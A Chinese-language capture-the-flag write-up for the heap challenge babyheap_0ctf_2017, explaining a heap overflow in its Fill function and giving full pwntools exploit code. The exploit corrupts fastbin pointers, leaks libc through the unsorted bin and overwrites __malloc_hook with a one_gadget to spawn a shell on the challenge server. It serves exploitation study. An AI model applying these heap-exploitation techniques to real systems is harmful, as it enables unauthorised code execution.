一道很简单的堆题,buu上的babyheap_0ctf_2017
题目解析
64位的程序,防护全开
题目整体,接下来就一个一个来查看里面函数的作用
sub_B70()
这里用mmap申请了很大一块内存区域
sub_CF4()
通过这个菜单函数我们可以更快的知道下面函数的作用
sub_138c()
这个就是一个简单的赋一个整数值的函数,后面的chunk的size大小也是通过这个函数给的
Allocate
创建一个堆块 ,用函数控制给我们的堆块赋与空间。其实我们所谓的堆块,就是一个个的链表,所以这里下面的3个应该是结构体中的3个参数。
Fill()此处是漏洞存在处
由于我们在创建时是给chunk指定了空间的,而我们在Fill函数输入数据的时候发现还可以指定输入空间,那么这里就可以造成堆溢出
后面的两个函数都是一般的free和输出了,就不一一解释了
漏洞利用
堆题的做法无非就是利用各种绕过去获得libc的偏移,然后去修改malloc_hook或者free_hook为system函数,最后去触发获取shell
那么如何泄露libc呢?
这道题的free函数最后是已经把指针清零了,所以double free等用法都是不行的,但是存在堆溢出,那我们便可以利用这一个特性去修改其他chunk的fd指针,来达到泄露的效果
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64',log_level='debug')
p = process('./babyheap')
elf = ELF('./babyheap')
libc = ELF('./libc-2.23.so')
def dbg():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter("Command: ",str(1))
p.sendlineafter("Size: ",str(size))
def edit(index, content):
p.sendlineafter("Command: ",str(2))
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(len(content)))
p.sendafter("Content: ",content)
def free(index):
p.sendlineafter("Command: ",str(3))
p.sendlineafter("Index: ",str(index))
def show(index):
p.sendlineafter("Command: ",str(4))
p.sendlineafter("Index: ",str(index))
这里先做好准备工作,然后构建堆块
我们这里先构建5个堆块,我们先释放1,2chunk
现在1,2已经进入了fastbins中,其中2chunk的fd指针是指向1chunk的,这里我们通过0chunk的堆溢出去修改2chunk的fd指针为4chunk
通过查看0chunk的地址我们可以确定要修改指针的位置,这里我们需要注意,我们在输入数据的时候是在0x55f272255010开始输入的,上面的0x10字节分别是presize和size,并且我们在覆盖数据的时候要保留原有chunk的size,也就是图中所有0x21的地方
注:我是分开一步步进行调试的,所以地址会不同,大家观看结果便行
这里我们可以观察到原本已经释放的1chunk又处于了未释放的状态,2chunk的指针也成功的指向了4chunk ,但为什么4chunk没有处于free状态呢?,这是因为fastbins容纳不了这么大的chunk,所以这里我们再将4chunk的大小修改为0x21
可以看到,现在未释放的4chunk也被我们伪造成了释放的效果,那我们现在再申请两个chunk,由于fastbin是先进先出的并且之前释放的是1和2,那么现在1和2chunk都是空的,由于我们把chunk2的fd指针修改成了chunk4,那么系统就会默认chunk4是先被释放的,所以我们再申请时,chunk2就相当于chunk4,而chunk1就相当于chunk2
接下来我们就要把chunk4的size改回0x90,并且释放它,使得它进入unsortedbins,由于unsortedbins的特性,但这个bins中只有一个chunk时,那么它的fd和bk指针都会指向main_arena这个地方,而main_arena-0x10就是malloc_hook的地址,那么就很简单了
这个add(0x80)的chunk的作用是为了防止top chunk合并其他chunk
现在就可以看到我们的4chunk成功的进入了unsortedbin,但是由于我们之前的操作,导致2chunk其实就是4chunk,那么我们再输出2时便可以顺带输出4chunk的fd指针
我们在那泄露的地址减去88减去0x10就是malloc_hook了,最后便是用泄露的地址减去libc中的地址算出偏移即可,然后利用onegadegt中的地址去覆盖malloc_hook就可以了。
先将2chunk也就是4chunk的fd指针指向malloc_hook
这里申请0x60个字节是为了后续的去修改malloc_hook,为什么要是0x60的以及这里修改地址的原因可以去看我之间的堆的博客,这里就不做解释了
成功修改,然后我们在申请两个堆块便可以申请到我们伪造的这个假chunk,也就是
malloc_hook-0x23,由于presize和size有0x10字节的原因,我们输入数据只需要输入0x13*b'a'就可到达malloc_hook,最后将onegadget写入,创建chunk触发malloc_hook便可拿到shell
完整exp如下
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context(os='linux', arch='amd64',log_level='debug')
# p = process('./babyheap')
p=remote('node4.buuoj.cn',27874)
elf = ELF('./babyheap')
libc = ELF('./libc-2.23.so')
def dbg():
gdb.attach(p)
pause()
def add(size):
p.sendlineafter("Command: ",str(1))
p.sendlineafter("Size: ",str(size))
def edit(index, content):
p.sendlineafter("Command: ",str(2))
p.sendlineafter("Index: ",str(index))
p.sendlineafter("Size: ",str(len(content)))
p.sendafter("Content: ",content)
def free(index):
p.sendlineafter("Command: ",str(3))
p.sendlineafter("Index: ",str(index))
def show(index):
p.sendlineafter("Command: ",str(4))
p.sendlineafter("Index: ",str(index))
add(0x10) #0
add(0x10) #1
add(0x10) #2
add(0x10) #3
add(0x80) #4
free(1)
free(2)
payload=p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p8(0x80)
edit(0,payload)
payload=p64(0)*3+p64(0x21)
edit(3,payload)
add(0x10) #4 2
add(0x10) #2 1
payload=p64(0)*3+p64(0x91)
edit(3,payload)
add(0x80) #5
free(4)
show(2)
malloc_hook=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-88-0x10
print(hex(malloc_hook))
base=malloc_hook-libc.symbols['__malloc_hook']
print(hex(base))
system=0x4526a+base
add(0x60) #4
free(4)
payload=p64(0)*3+p64(0x71)+p64(malloc_hook-0x23)
edit(3,payload)
add(0x60) #4
add(0x60) #6
payload=0x13*b'a'+p64(system)
edit(6,payload)
add(0x20)
# dbg()
p.interactive()